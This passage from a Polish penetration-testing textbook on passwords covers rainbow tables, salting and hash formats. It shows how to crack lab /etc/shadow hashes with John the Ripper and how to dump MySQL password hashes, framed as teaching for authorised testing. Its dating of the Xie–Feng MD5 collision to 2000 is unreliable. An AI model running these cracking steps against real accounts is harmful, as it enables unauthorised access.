A co się stanie, jeżeli do reguł generowania haseł dodane zostaną jeszcze cyfry oraz znaki spe-
cjalne? Powstanie wtedy naprawdę dużo różnych kombinacji, które będą wymagały wyliczenia
skrótu i porównania uzyskanej wartości z poszukiwaną. Okazuje się zatem, że łamanie haseł to tak
naprawdę niezwykle żmudne zadanie. Dla złośliwego hakera nie jest to jednak przeszkodą, ponie-
waż tą metodą można i tak łatwo wykryć wiele słabych haseł zapisanych w bazie danych. Użytkow-
nicy stosujący krótkie hasła składające się z samych liter sami narażają się na szybkie włamanie na
konto. Z drugiej strony użytkownicy korzystający z haseł o dużej entropii mogą spać spokojnie.
Jak w takim razie jak najszybciej złamać jak największą liczbę haseł? Jedną metodą jest zainwe-
stowanie w bardziej wydajny sprzęt, na przykład karty graficzne albo specjalizowane układy. Tym
sposobem zajmiemy się w dalszej części tego rozdziału. Innym rozwiązaniem jest wykorzystanie
wstępnie przygotowanych list skrótów kryptograficznych, nazywanych tablicami haszy, a w wersji
bardziej złożonej — tablicami tęczowymi.

3681988c430c7fe1e8567c4e2f281f7b
3
518 Rozdział 14  Hasła

Tablice haszy i tablice tęczowe

Zamiast generować kolejne wartości skrótów i na bieżąco porównywać je z wartościami pochodzą-
cymi z baz danych, można też wykorzystać listy wcześniej wyliczonych skrótów, co pozwala na
skrócenie czasu wykonywania obliczeń. Można zatem przygotować sobie listę typowych haseł, wy-
liczyć dla nich wartości skrótów, a te zapisać do pliku, tworząc tym samym tabelę wyszukiwania
albo tabelę haszy. To właśnie tym zajmuje się strona https://crackstation.net.
Można też przyjąć dowolną kombinację znaków do wyznaczonego limitu, wyliczyć dla nich
skróty i zapisać do pliku. W efekcie powstanie ogromny plik (wielkość będzie zależna od wybranej
liczby kombinacji), ale po utworzeniu takiej tabeli będziemy mogli zyskać wiele czasu podczas póź-
niejszych prób łamania haseł. Musimy tylko mieć odpowiednio dużo miejsca na dysku, żeby prze-
chowywać wszystkie te tabele. Pamiętaj, że trzeba wygenerować po przynajmniej jednej tabeli dla
każdego z popularnych algorytmów haszujących. Nie można też mylić tabel haszy z tabelami
tęczowymi, które są troszeczkę bardziej złożone.
Ideą tworzenia tabel tęczowych jest umożliwienie przechowywania skrótów większych i bar-
dziej skomplikowanych haseł. Wykorzystuje się tu technikę równoważenia wykorzystania pamięci
i czasu pracy procesora przez wykorzystywanie zapisanych w pliku wyników wcześniej wykona-
nych obliczeń. W tym celu w tabelach tęczowych zapisywane są łańcuchy składające się z ułożonych
naprzemiennie ciągów znaków oraz wartości skrótów. W jednym takim łańcuchu mogą się znaj-
dować nawet setki tysięcy wartości skrótów oraz ciągów znaków, a każda tabela może składać się
z wielu różnych łańcuchów. W tabeli nie znajdziesz wszystkich wartości z danego łańcucha, a je-
dynie wybraną losowo wartość początkową (na przykład aaaaaaaa) oraz jego wartość końcową.
W trakcie pracy konieczne jest odtworzenie pełnej zawartości łańcucha, co wymaga zastosowania
sporej mocy obliczeniowej.
Aby utworzyć jeden łańcuch, trzeba zacząć od wartości początkowej, dla której należy wyliczyć
wartość skrótu, stosując ten sam algorytm haszujący, z którym ma się zmagać ta tablica. Po wyzna-
czeniu skrótu dla wartości początkowej trzeba zastosować na niej funkcję redukującą. Funkcja ta
może być dowolną funkcją zdolną do zamiany wartości skrótu do postaci, którą można wykorzy-
stać jako hasło. Prostym przykładem takiej funkcji może być zastosowanie kodowania base64 po-
łączonego z dopasowaniem uzyskanego wyniku do zakładanego rozmiaru ciągu znaków. Wynik
działania funkcji redukującej jest ponownie podawany funkcji haszującej, która wygeneruje nam
kolejną wartość skrótu. Taki proces wyliczania wartości skrótu i poddawania ich redukcji jest po-
wtarzany dla wszystkich elementów łańcucha.
Aby złamać skrót kryptograficzny hasła, trzeba zastosować na nim opisany powyżej proces.
Każdy element łańcucha jest porównywany z elementem końcowym i jeżeli porównywane wartości
są sobie równe, to znaczy, że gdzieś w tym łańcuchu ukrywa się wartość szukanego hasła.
Tabela haszy może (a nawet powinna) być używana do przechowywania skrótów kryptogra-
ficznych typowych haseł. Złamanie hasła zapisanego w takiej tabeli nie powinno zająć więcej niż
sekundę.
Tabele tęczowe stanowią z kolei rozwiązanie równoważące wymagania odnośnie do miejsca na
dysku i niezbędnej mocy obliczeniowej, pozwalając hakerom na uzyskiwanie bardziej złożonych
haseł, czyli haseł nieskładających się z prostych słów. W tabeli tęczowej (w przeciwieństwie do
tabeli haszy) nie są przechowywane wszystkie możliwe skróty kryptograficzne wyliczone dla każdej
kombinacji znaków. Taka tabela przechowuje wyłącznie wartości początkowe i końcowe łańcucha,

3681988c430c7fe1e8567c4e2f281f7b
3
Dodawanie soli 519

co umożliwia wygenerowanie pozostałych skrótów. Nawet w takiej postaci tabele tęczowe są ogromne,
ale trzeba pamiętać, że tabele haszy zawierające wszystkie możliwe wartości skrótów byłyby o wiele
większe. Tabele tęczowe są przykładem kryptoanalitycznych rozwiązań bazujących na kompromi-
sie czas – pamięć, o którym po raz pierwszy pisał Martin Hellman w 1980 roku. Jego idee zostały
później rozbudowane przez Rona Rivesta i Phillipe’a Oechslina. To Oechslin jest wynalazcą tabel
tęczowych i jednym z twórców programu Ophcrack. Artykuł Hellmana „A Cryptanalytic Time —
Memory Trade-Off” możesz pobrać z adresu https://ee.stanford.edu/~hellman/publications/36.pdf.
Z kolei artykuł Oechslina „Making a Faster Cryptanalytic Time-Memory Trade-Off” jest dostępny
pod adresem https://lasec.epfl.ch/pub/lasec/doc/Oech03.pdf.
Dokładniejszy opis działania tabel tęczowych znajdziesz też w Wikipedii pod adresem https://
pl.wikipedia.org/wiki/Tęczowe_tablice.
Jeżeli natkniesz się na starsze skróty kryptograficzne, takie jak niedoskonały hasz LANMAN
pochodzący z firmy Microsoft (tak naprawdę nie jest to prawdziwa funkcja haszująca, ponieważ
jest ona odwracalna) albo MD5, a korzystasz z tabel tęczowych, to uzyskanie właściwego hasła
jest kwestią kilku sekund. Wstępnie przygotowane tabele tęczowe są dostępne w sieci, a program
Ophcrack jest już wyposażony w małą próbkę typowych skrótów z używanego w systemach Win-
dows algorytmu LANMAN.

Tabele tęczowe nie zadziałają, jeżeli do generowania skrótów kryptograficznych

haseł używano soli o wartości innej dla każdego hasła. (Soleniem haseł zajmiemy się w ko-
lejnym podrozdziale — „Dodawanie soli”). Można oczywiście wygenerować osobną tabelę
tęczową dla każdej wartości soli użytej w danej bazie, ale jeżeli sól jest wystarczająco długa,
to takie działanie staje się niepraktyczne. Atakujący raczej nie będzie dysponował już
wstępnie wygenerowaną tablicą soli. Jeżeli dla każdego konta używana jest niepowtarzalna
wartość soli, to efektywność działania tabel tęczowych jest mocno redukowana, dlatego
jest to jedna z praktyk zalecanych przez specjalistów od bezpieczeństwa systemów.

Dodawanie soli
Jeżeli atakujący zdobędzie kilka skrótów kryptograficznych i będzie w stanie „złamać” część z nich
(czyli wyznaczyć poprawną wartość tekstową), to tym samym pozna również hasło dowolnego in-
nego użytkownika tego systemu, który używa takiego samego hasła jak jedno z odgadniętych. Ata-
kujący musi już tylko poszukać w bazie danych takiej samej wartości skrótu. Temu problemowi ma
przeciwdziałać stosowanie soli, która sprawia, że hasła złehasło123 i złehasło123 nie będą genero-
wały tej samej wartości skrótu kryptograficznego. Ta metoda utrudnia też próby łamania haseł,
ponieważ silne hasła w połączeniu z solą sprawiają, że tabele haszy i tabele tęczowe stają się całkowicie
niepraktyczną metodą ataku. Wynika to z faktu, że dla każdej wartości soli konieczne jest wygene-
rowanie osobnej tabeli, a to ogromnie zwiększa wymagania odnośnie do ilości miejsca na dysku.
Wartości soli powinny być losowo generowane dla każdego hasła. Załóżmy, że użytkownik chce
chronić swoje konto za pomocą hasła mojehasło1234. Wartość skrótu MD5 dla tego hasła będzie
wyglądała następująco:
8a149462d8abe6857147bc70947d1375

3681988c430c7fe1e8567c4e2f281f7b
3
520 Rozdział 14  Hasła

Teraz dodajmy soli do tego hasła. Na potrzeby naszego przykładu można zastosować dowolny
generator liczb losowych. Możesz użyć też generatora ze strony www.random.org, który umożliwia
tworzenie dowolnych liczb losowych zapisanych w wielu różnych formatach, ale zdecydowanie nie
zaleca się używania go w różnych funkcjach zabezpieczających. Oto liczba 10-bajtowa wygenero-
wana za pomocą takiego narzędzia:
5cd43bbf3ff15df4b03f

Teraz możemy już wziąć oryginalne hasło i dopisać do niego te losowe bajty:
mojehasło12345cd43bbf3ff15df4b03f

Na zakończenie trzeba jeszcze wyliczyć wartość skrótu dla tego ciągu znaków. Oto wartość
skrótu MD5 wyliczona dla tekstu mojehasło12345cd43bbf3ff15df4b03f:
7C94CC5A114A777BFACD14A18264A7D4

Po takim zastosowaniu soli mówi się, że uzyskaliśmy „posolony” skrót kryptograficzny. Z dru-
giej strony, jeżeli w całym procesie nie użyto soli, to o uzyskanej wartości skrótu mówi się, że jest
to wartość surowa. Jeżeli którykolwiek spośród milionów użytkowników zapisanych w hipotetycz-
nej bazie danych używałby tego samego hasła (mojehasło1234), ale każdemu użytkownikowi przy-
pisano by losową i niepowtarzalną wartość soli, to bardzo utrudniłoby to wszystkie próby łamania
haseł z tej bazy. Po prostu mimo że użytkownicy używaliby tych samych haseł, to dzięki użyciu soli
zapisane w bazie wartości skrótów byłyby odmienne dla każdego z nich.
Co ważne, żaden z użytkowników nie musi zapamiętywać ani zapisywać wartości soli w swoim
menedżerze haseł. Ta wartość jest zapisywana w bazie danych razem z wartością skrótu. Sama war-
tość soli nie jest żadną tajemnicą (bo tą jest samo hasło), ponieważ jest używana za każdym razem,
gdy użytkownik próbuje się zalogować do serwisu, podając swoje hasło. Oznacza to, że nadal
można próbować łamania haseł za pomocą takich narzędzi jak Hashcat lub John the Ripper. To
ostatnie umie samodzielnie wykryć fakt używania soli i zastosować odpowiednią wartość podczas
generowania wartości skrótów. Dodawanie soli do funkcji haszującej hasła powinno być działa-
niem obowiązkowym dla aplikacji tworzonych z zachowaniem odpowiedniego poziomu bezpie-
czeństwa. Istnieją też inne metody dodawania soli. Czasami wylicza się wartość skrótu dla hasła,
a potem jeszcze raz, po dodaniu soli do uzyskanego wcześniej skrótu. A to tylko jedna z możliwości
wykorzystania soli.

Badanie pliku /etc/shadow

Teraz przyjrzymy się zawartości pliku shadow z systemów linuksowych i spróbujemy złamać prze-
chowywane w nim hasła. Na potrzeby tej analizy wykorzystamy plik z naszego podatnego serwera
pocztowego, w którym zapisanych jest kilka kont użytkowników bez haseł, ale jeżeli wybrać z niego
same konta użytkowników z hasłami, to otrzymamy poniższą listę:
root:$6$GoW/Ulto$H6vTUsHXKsEjU4JNIR2MJebQ25iI8UC84HZeCHb9J9jMfDUC7xqJbWi
k0O.kBlf0XB6IjszxBP9CNOJWZFlDq1:17181:0:99999:7:::
cyrus:ttFfjt7KRsGP6:17181:0:99999:7:::
peterp:pATfNCwRanDjY:17181:0:99999:7:::
johnk:DzPcnj3NPsX1Y:17181:0:99999:7:::
charliew:VxvogCke/Q7Mo:17181:0:99999:7:::

3681988c430c7fe1e8567c4e2f281f7b
3
Badanie pliku /etc/shadow 521

roberta:zQdcTcfU2NVaQ:17181:0:99999:7:::
sarahk:Yy.jZjZKD3zWM:17181:0:99999:7:::
jennya:JjwPBOd1Vailc:17181:0:99999:7:::

Trzeba tutaj zwrócić uwagę na kilka rzeczy. Po pierwsze zauważ, że wiersz z danymi użytkow-
nika root jest znacznie dłuższy od wierszy pozostałych użytkowników. Wynika to z faktu, że skrót
hasła użytkownika root został wygenerowany przez inną funkcję haszującą niż w przypadku innych
użytkowników. Tutaj zastosowano algorytm SHA512, o czym świadczy wartość $6$ znajdująca się
na początku ciągu znaków. Warto tu zauważyć, że w plikach shadow znak dolara jest używany jako
separator rozdzielający ciąg znaków skrótu na trzy części o następującym znaczeniu:
$<algorytm>$<sól>$<hasz>

Ciąg znaków skrótu dla użytkownika root wygląda tak, jak pokazano poniżej. W wydruku wy-
różniono znaki dolara służące za separatory:
$6$GoW/Ulto$H6vTUsHXKsEjU4JNIR2MJebQ25iI8UC84HZeCHb9J9jMfDUC7xqJbWik0O
.kBlf0XB6IjszxBP9CNOJWZFlDq1

W pozostałych skrótach haseł z pliku shadow serwera pocztowego używany jest inny format.
W ich przypadku zastosowano inny algorytm o niskim poziomie bezpieczeństwa. Później spraw-
dzisz, jaki to algorytm, używając do tego programu John the Ripper.
Możesz się zastanawiać, co oznaczają te wszystkie znaki w skrócie kryptograficznym. To nie jest
zapis szesnastkowy. Wartości skrótów w plikach shadow są często kodowane algorytmem podob-
nym do base64 stosowanym w aplikacjach sieciowych, ale jednak nie identycznym. W tym przy-
padku używane są 64 znaki ze zbioru A – Z, a – z, 0 – 9 oraz kropka (.) i ukośnik (/).
Ciąg znaków skrótu, w którym znaki dolara służą za separatory, jest tylko częścią dłuższego
wiersza, składającego się z dziewięciu pól, przy czym tutaj za separator służy znak dwukropka.
<nazwaUżytkownika>:<ciągZnakówSkrótu>:1:2:3:4:5:6:7

Oto znaczenie poszczególnych pól w tym ciągu znaków:

1. Data ostatniej zmiany hasła podawana jako liczba dni liczonych od początku czasu
uniksowego (01.01.1970).
2. Liczba dni do momentu, gdy hasło będzie mogło zostać zmienione.
3. Liczba dni do momentu, gdy hasło będzie musiało zostać zmienione. Zapisana tu wartość
99999 oznacza, że użytkownik nigdy nie będzie musiał zmieniać swojego hasła.
4. Liczba dni, zanim pojawi się ostrzeżenie o nadchodzącej konieczności zmiany hasła.
5. Liczba dni, po jakiej hasło wygasa w przypadku, gdy dane konto zostaje wyłączone.
6. Data wyłączenia konta podawana jako liczba dni liczonych od początku czasu uniksowego.
7. Ostatnie pole zostało zarezerwowane na potrzeby przyszłych zastosowań.
Uruchomienie programu John the Ripper z domyślnymi ustawieniami nie powinno nikomu
sprawiać problemów. Wystarczy wskazać mu plik shadow. Na początek spróbuj usunąć z tego pliku
wiersz opisujący użytkownika root (pamiętaj o wykonaniu kopii zapasowej pliku przed wprowa-
dzeniem do niego jakichkolwiek zmian), tak żeby wszystkie zapisane w nim skróty były tego sa-
mego typu, a następnie przekaż plik do uruchamianego programu, tak jak poniżej:
john serwerpoczty.shadow

3681988c430c7fe1e8567c4e2f281f7b
3
522 Rozdział 14  Hasła

Program po uruchomieniu wyświetli informacje podobne do poniższych, a dopiero za nimi

zacznie prezentować dane złamanych skrótów:
Using default input encoding: UTF-8
Loaded 7 password hashes with 7 different salts (descrypt, traditional
crypt(3) [DES 256/256 AVX2-16])

Jak widać, program był w stanie wykryć rodzaj używanego szyfrowania — w podanym komu-
nikacie informują o tym słowa traditional crypt (3). Więcej informacji na ten temat znajdziesz
na stronie podręcznika man (man crypt) poświęconej funkcji crypt. Wszystkie hasła zostały zaszy-
frowane za pomocą uniksowej funkcji crypt(), która bazuje na algorytmie DES (Data Encryption
Standard). Ciekawe jest to, że każde hasło zawiera też malutką, 12-bitową sól. Funkcja crypt() po-
biera hasło użytkownika, a następnie wielokrotnie je zaszyfrowuje i zwraca tak uzyskaną wartość.
Niestety sam algorytm nie jest doskonały, dlatego nie zaleca się stosowania go, ponieważ dzi-
siejsze komputery są w stanie bardzo szybko wykonać obliczenia niezbędne do jego złamania. Sam
algorytm wykorzystuje jedynie 7 bitów każdego z pierwszych ośmiu znaków hasła użytkownika,
tworząc w ten sposób klucz szyfrujący o wielkości 56 bitów. Jeżeli hasło jest dłuższe niż osiem zna-
ków, to pozostałe znaki są po prostu ignorowane! Sam 56-bitowy klucz jest następnie wykorzysty-
wany do wielokrotnego szyfrowania stałej wartości, którą najczęściej jest po prostu ciąg zer. Wyni-
kiem takiego wielokrotnego szyfrowania jest seria 13 znaków ASCII, z których dwa pierwsze
oznaczają sól, a pozostałe są wartością skrótu.
Ten sam sposób zabezpieczania pliku shadow był kiedyś stosowany w systemie Debian. Wtedy
korzystało z niego wiele osób, które definiowały sobie długie i złożone hasła, nie wiedząc przy tym,
że system zachowywał jedynie pierwszych osiem znaków z takiego hasła.

SIŁOWE ŁAMANIE ALGORYTMU DES

Przez lata wielokrotnie budowano już specjalne maszyny do łamania algorytmu DES. W 2006 roku
na uniwersytetach w Bochum i Kiel w Niemczech zbudowano komputer o nazwie COPACOBANA
(www.copacobana.org/paper/IPAM2006_slides.pdf), który kosztował 10 tysięcy dolarów. Był
w stanie sprawdzić wszystkie możliwe kombinacje 56-bitowego klucza w zaledwie dziewięć dni.
W 2012 roku zbudowano lepszy system, który nadal nazywany jest „najszybszym łamaczem al-
gorytmu DES na świecie”. Informacje na jego temat można znaleźć pod adresem https://crack.sh.
Ten system jest w stanie siłowo złamać szyfrowanie algorytmu DES w mniej więcej 26 godzin.

Być może pamiętasz, że w rozdziale 8. „Sieci VPN” omawialiśmy algorytm 3DES. Ta wersja
zwiększa możliwości algorytmu DES, stosując go kilkukrotnie i używając większej przestrzeni klu-
cza szyfrującego — 112 bitów. Niemniej nawet ta wersja nie jest dzisiaj uznawana za wystarczająco
bezpieczną. Aktualnie zaleca się, żeby do szyfrowania plików i komunikacji zamiast algorytmów
DES i 3DES stosować standard AES (Advanced Encryption Standard).
Odeszliśmy tu nieco od tematu, odbiegając od funkcji haszujących i omawiając metody szyfro-
wania. Pamiętaj jednak, że haszowanie i szyfrowanie to dwa różne procesy. Szyfrowanie powinno
być odwracalne przy zastosowaniu właściwego klucza, ale haszowanie musi być procesem nieod-
wracalnym. Czasami pojawiają się tutaj nieporozumienia, ponieważ niektóre algorytmy haszujące
(na przykład funkcja crypt używana do haszowania haseł na serwerze pocztowym) w swoim dzia-
łaniu wykorzystują algorytmy szyfrowania.

3681988c430c7fe1e8567c4e2f281f7b
3
Badanie pliku /etc/shadow 523

OGRANICZENIA DŁUGOŚCI HASŁA

Z pewnością każdy już spotkał się z sytuacją, gdy pewna usługa lub aplikacja sieciowa nakłada
jakieś ograniczenie co do maksymalnej długości (a czasem i złożoności) hasła. Zazwyczaj nie ma
ku temu żadnych powodów, ponieważ stosowane algorytmy powinny być w stanie obsłużyć
ciąg znaków o dowolnej długości. Pamiętaj, że algorytmy haszujące zwracają stałą wartość
wynikową niezależnie od wielkości wejściowego ciągu znaków. Warto zatem wspomnieć o tym
klientowi, jeżeli zauważysz, że jego systemy nie pozwalają użytkownikom na stosowanie długich
haseł albo haseł zawierających znaki specjalne. Niektóre serwisy zmuszają użytkowników do sto-
sowania określonych rodzajów znaków, na przykład samych cyfr i kropki, choć takie ogranicze-
nia nie wpływają na poziom ochrony hasła przed atakami siłowymi tak negatywnie jak zmniej-
szenie długości hasła.
Jeden z autorów tej książki podczas zakładania konta w serwisach sieciowych lubi genero-
wać pseudolosowe hasła o długości przynajmniej 30 znaków, które składają się ze znaków alfa-
numerycznych oraz znaków specjalnych. Zadziwiająco często takie hasła są odrzucane przez
serwisy, a dodatkowo podczas logowania systemy nie rozpoznają tak długich haseł z powodu
różnych błędów! Często takie sytuacje są znakiem, że w innych miejscach aplikacji istnieją po-
ważne podatności, które z pewnością warto zbadać.

Nowoczesne pliki shadow nie powinny już zawierać tak słabych skrótów haseł. Znacznie bar-
dziej prawdopodobne jest, że zobaczysz wpisy podobne do zaprezentowanego wcześniej skrótu
hasła użytkownika root. Program John the Ripper bez problemu rozpoznaje i ten rodzaj skrótu
(solony hasz SHA512), a zatem możesz próbować złamać i takie hasła! Umieść skrót hasła użyt-
kownika root z powrotem w pliku shadow albo uruchom program John, podając mu plik zawiera-
jący jedynie to jedno hasło. Program John (podobnie jak i Hashcat) można skonfigurować tak, żeby
przy obliczeniach wykorzystywał kartę graficzną (rysunek 14.1), co się bardzo opłaca, ponieważ
umożliwia znaczące skrócenie czasu łamania hasła.

Rysunek 14.1. Łamanie haseł w programie John the Ripper z wykorzystaniem karty graficznej

Za pomocą poniższego polecenia możesz poinformować program, z jakim rodzajem skrótu

przyjdzie mu się zmagać:
john --format=Raw-MD5 admin.txt

3681988c430c7fe1e8567c4e2f281f7b
3
524 Rozdział 14  Hasła

Ten program świetnie się nadaje do łamania wielu innych rodzajów plików, a nie tylko zawar-
tości pliku shadow. Oto przykład skrótów haseł zapisanych w bazie danych MySQL, którymi pro-
gram również może się zająć:
mysql> SELECT DISTINCT CONCAT(user, ':', password) FROM mysql.user;
+------------------------------------------------------------+
| CONCAT(user, ':', password) |
+------------------------------------------------------------+
| root:*FE68E6FDAF9B3EA41002EF1E28BE4A6EAF3A1158 |
| debian-sys-maint:*02B9399FC6A06E4D09A609700C0B259750F352BA |
+------------------------------------------------------------+
2 rows in set (0.00 sec)

Inne rodzaje skrótów

Podczas haszowania haseł trzeba zwracać uwagę na to, żeby stosować odpowiednio silny algorytm.
Dobry algorytm haszujący powinien generować niepowtarzalne dane wyjściowe dla każdych da-
nych wejściowych. Jeżeli ten sam wynik można uzyskać przez podanie dwóch odmiennych danych
wejściowych, to mówimy o kolizji. Takie algorytmy jak MD5 (Message Digest 5) lub SHA-1 (Secure
Hash Algorithm) były dawniej używane w wielu zastosowaniach związanych z bezpieczeństwem,
ale już od jakiegoś czasu nie poleca się ich ze względu na dość częste powstawanie w nich kolizji.
Innymi słowy, teoretycznie jest możliwe zalogowanie się na konto użytkownika za pomocą hasła,
którego ten użytkownik nie stosuje! Należy zatem uważnie wyszukiwać miejsca, w których te algo-
rytmy są jeszcze używane. Ze względu na to, że nie są one uznawane za wystarczająco bezpieczne,
każde takie znalezisko powinno zostać przekazane klientowi.
Przyjrzyjmy się teraz kilku powszechnie stosowanym algorytmom. Jak się przekonasz, często można
wykryć stosowany algorytm haszujący wyłącznie na podstawie długości generowanych przez niego
danych wyjściowych. Jeżeli mimo wszystko nie masz pewności, to zawsze możesz skorzystać z narzę-
dzia HashID. W podstawowej formie można go używać za pośrednictwem poniższego polecenia:
hashid <PlikZawierającySkrót>

Jeżeli chcesz sprawdzić, jaki rodzaj skrótu jest używany do zabezpieczania hasła użytkownika
root, to musisz się upewnić, że w pliku zapisany jest wyłącznie skrót tego hasła. Dodatkowe teksty,
takie jak nazwy użytkowników lub znaki średnika, uniemożliwiają normalną pracę programu HashID.
Oznacza to, że plik podawany temu programowi powinien zawierać wyłącznie poniższą wartość skrótu:
$6$GoW/Ulto$H6vTUsHXKsEjU4JNIR2MJebQ25iI8UC84HZeCHb9J9jMfDUC7xqJbWik0O.
kBlf0XB6IjszxBP9CNOJWZFlDq1

MD5
Dawniej był to bardzo popularny algorytm, ale dzisiaj nie powinien być już stosowany do zabez-
pieczania czegokolwiek. Niestety czasami nadal jest używany w tej roli, mimo że stanowi poważną
lukę w zabezpieczeniach i jego wykrycie powinno zostać natychmiast zgłoszone. Skróty MD5 wy-
glądają podobnie do poniższego:
1bc29b36f623ba82aaf6724fd3b16718

3681988c430c7fe1e8567c4e2f281f7b
3
Inne rodzaje skrótów 525

W pliku /etc/shadow algorytm MD5 (może być używany również tutaj) pojawia się w zapisie
podobnym do poniższego:
$1$ja26g4Pi$eGHKAXkdsQHQeGkpousRk.

Pamiętaj, że w tym przypadku znak dolara jest separatorem. Na początku tego ciągu znaków
znajduje się wartość 1, która oznacza algorytm MD5, za nią zapisana jest wartość soli (czyli ja26g4Pi),
a na końcu sama wartość skrótu.

SHA-1
Pierwsza wersja algorytmu SHA nie powinna być już używana, ponieważ jest podatna na występo-
wanie kolizji. Mimo to nadal można spotkać ją w różnych systemach. Oto przykład skrótu genero-
wanego przez ten algorytm:
d1ff8c1243807824b5349918340ad4b0036aed67

SHA-2
Druga wersja algorytmu SHA była powszechnie używana w czasie tworzenia tej książki. Pozwala
ona na stosowanie wariantów o różnej długości generowanego skrótu. Zdecydowanie zaleca się
zastępować tym algorytmem starsze MD5 i SHA-1. Liczba znajdująca się w nazwie algorytmu
(SHA256/384/512) informuje o długości skrótu liczonej w bitach. Im większa jest liczba bitów, tym
silniejsza jest funkcja haszująca. Aktualnie najczęściej używany jest wariant SHA512 i to on jest
zalecany dla zastosowań związanych z bezpieczeństwem. Poniżej prezentujemy przykłady skrótów
generowanych przez ten algorytm.

SHA256
Oto wartość skrótu SHA256 zapisana szesnastkowo:
d6140805ec182805fbd76c8a4cdce71b9478676957796c722ec596cd4d91040f

SHA512
Oto wartość skrótu SHA512 zapisana szesnastkowo:
89ad667b10f0d7f594788e8f4211a32e8dc61ef24ea42065a9600a1b12f91691364ee
3767bd2788512fbe8a206c4249795b24e9a1ceee33265f57ae755492019

W pliku /etc/shadow można jednak spodziewać się poniższego zapisu dla skrótów tego typu:
$6$3cw3tPaa$Ya9Q7rnFf90FO0/nJWVTqeT5AA.IiIsJjdgtt67GTkTVu42HGGlBVZ5
JuQWfvZP1WVz/9sHaW7N0HZyabA4ac.

Widoczna na początku liczba 6 oznacza algorytm SHA512, a ciąg znaków 3cw3tPaa to użyta
wartość soli.

3681988c430c7fe1e8567c4e2f281f7b
3
526 Rozdział 14  Hasła

bcrypt
Wcześniej widzieliśmy już, że plik shadow z serwera pocztowego zawierał wartości wygenerowane
przez uniksową funkcję crypt(), która korzysta z algorytmu DES. Funkcja bcrypt jest kolejną funk-
cją szyfrującą, która bazuje na metodzie szyfrowania Blowfish. Co prawda ten algorytm szyfrujący
nie ma takich błędów jak DES, ale sama funkcja bcrypt ma pewne słabości. Jest ona wykorzysty-
wana w niektórych systemach linuksowych oraz w systemie OpenBSD, który jest prawdopodobnie
najbezpieczniejszym systemem uniksowym na świecie. Z tej funkcji korzysta również framework
Ruby on Rails przeznaczony do tworzenia aplikacji sieciowych. Oto przykład skrótu wygenerowa-
nego funkcją bcrypt, który może się pojawiać w plikach shadow. Zwróć uwagę na to, że mimo za-
stosowania znaku dolara jako separatora poszczególne pola mają odmienne znaczenie niż w przy-
padku innych wartości skrótu.
$2b$12$FPWWO2RJ3CK4FINTw0Hi8OiPKJcX653gzSS.jqltHFMxyDmmQ0Hqq

Wartość z pierwszego pola (2b) oznacza użycie funkcji bcrypt. Druga wartość w tym wierszu
podaje współczynnik kosztu, który w tym przypadku wynosi 12. Oznacza to, że używana w algo-
rytmie bcrypt funkcja wywodzenia klucza (będziemy o niej mówić za chwilę) musi wykonać 212
iteracji na podanym jej haśle i losowo wygenerowanej soli. Pierwsze 22 znaki w trzecim polu to
wartość soli, natomiast pozostałe znaki to wartość skrótu.

CRC16 i CRC32
Algorytm CRC (Cyclic Redundancy Check) był już od bardzo dawna używany do generowania sum
kontrolnych. Nie powinien być jednak nigdy stosowany do generowania bezpiecznych wartości skrótu.
Jest bardzo mało prawdopodobne, że ktokolwiek będzie używał go w tym celu, ale podajemy go tutaj
jako przykład algorytmu, który czasami jest omyłkowo używany w roli funkcji haszującej.

PBKDF2
Funkcja PBKDF2 (Password-Based Key Derivation Function (wersja) 2) jest funkcją wywodzenia
klucza, powszechnie stosowaną do haszowania haseł. Funkcje wywodzenia klucza są używane do
generowania (czyli wywodzenia) tajnego klucza na podstawie istniejącego innego tajnego klucza
lub hasła. Funkcje wywodzenia klucza zwykle są celowo projektowane tak, żeby działały bardzo
powoli, co ma zmniejszać atrakcyjność ewentualnych ataków siłowych. Sama funkcja tworzy sil-
niejszy i bezpieczniejszy klucz niż oryginalne hasło, a do uzyskania tego efektu używana jest technika
nazywana rozciąganiem klucza (ang. key-stretching). Może być ona używana do wywodzenia klucza
nawet znacznie dłuższego niż oryginalne hasło albo zapisanego w całkowicie innym formacie.
Wartość skrótu wygenerowana przez funkcję wywodzenia klucza poddawana jest haszowaniu,
a uzyskany w ten sposób skrót jest ponownie haszowany. Ten proces można powtarzać setki lub
tysiące razy. Oznacza to, że za każdym razem, gdy użytkownik loguje się do systemu, podane przez
niego hasło musi zostać poddane haszowaniu tę samą liczbę razy i dopiero taki wynik może zostać
porównany z zapisanym w bazie. Sprawia to, że proces logowania jest troszkę wolniejszy z punktu
widzenia użytkownika, niemniej jednocześnie bardzo utrudnia to prowadzenie ataków siłowych.
Pomyśl o tym, ile czasu zajmuje sprawdzenie hasła za każdym razem, gdy chcesz odszyfrować swój

3681988c430c7fe1e8567c4e2f281f7b
3
Pseudohaszowanie 527

dysk twardy. To typowe rozwiązanie stosowane w funkcji PBKDF2. Trzeba jednak pamiętać, że
funkcja PBKDF2 i inne funkcje wywodzenia klucza nie są same w sobie funkcjami haszującymi.
Najpierw korzystają one z właściwej funkcji haszującej (takiej jak SHA-2), a potem przechodzą do
stosowania techniki rozciągania klucza, która ma utrudniać przeprowadzanie ataków siłowych
na skróty haseł.

Kolizje
W 2000 roku dwóch badaczy bezpieczeństwa — Tao Xie i Dengguo Feng — zdołało udowodnić, że
możliwe jest tworzenie kolizji w algorytmie MD5. Przyjrzyj się, proszę, poniższym ciągom znaków:
0e306561559aa787d00bc6f70bbdfe3404cf03659e704f8534c00ffb659c4c8740cc942f
eb2da115a3f4155cbb8607497386656d7d1f34a42059d78f5a8dd1ef

0e306561559aa787d00bc6f70bbdfe3404cf03659e744f8534c00ffb659c4c8740cc942
feb2da115a3f415dcbb8607497386656d7d1f34a42059d78f5a8dd1ef

Na pierwszy rzut oka mogą się wydawać identyczne, ale różnią się wyróżnioną częścią, która
w jednym ciągu ma wartość 55cb, a w drugim — 5dcb. Jeżeli teraz wyliczymy skrót MD5 dla obu
ciągów znaków, to w obu przypadkach otrzymamy tę samą wartość skrótu:
cee9a457e790cf20d4bdaa6d69f01e41

Już tylko to udowadnia, że dwa różne zestawy danych wejściowych (bardzo podobne, ale zde-
cydowanie nie identyczne) mogą dawać w wyniku tę samą wartość skrótu. Mówimy tu o kolizji,
która oznacza, że dwa (lub więcej) hasła mogą dać w wyniku tę samą wartość skrótu. Oznacza to,
że można się zalogować na konto wybranego użytkownika, podając inne hasło (a nawet kilka in-
nych haseł) niż to, które stosuje ten użytkownik. Może Ci się to wydawać mało prawdopodobne,
ale pomyśl tylko, jak wielką mocą obliczeniową dysponują dzisiejsze komputery i jak szybko są
w stanie generować wartości skrótów i porównywać je z podanym wzorcem.
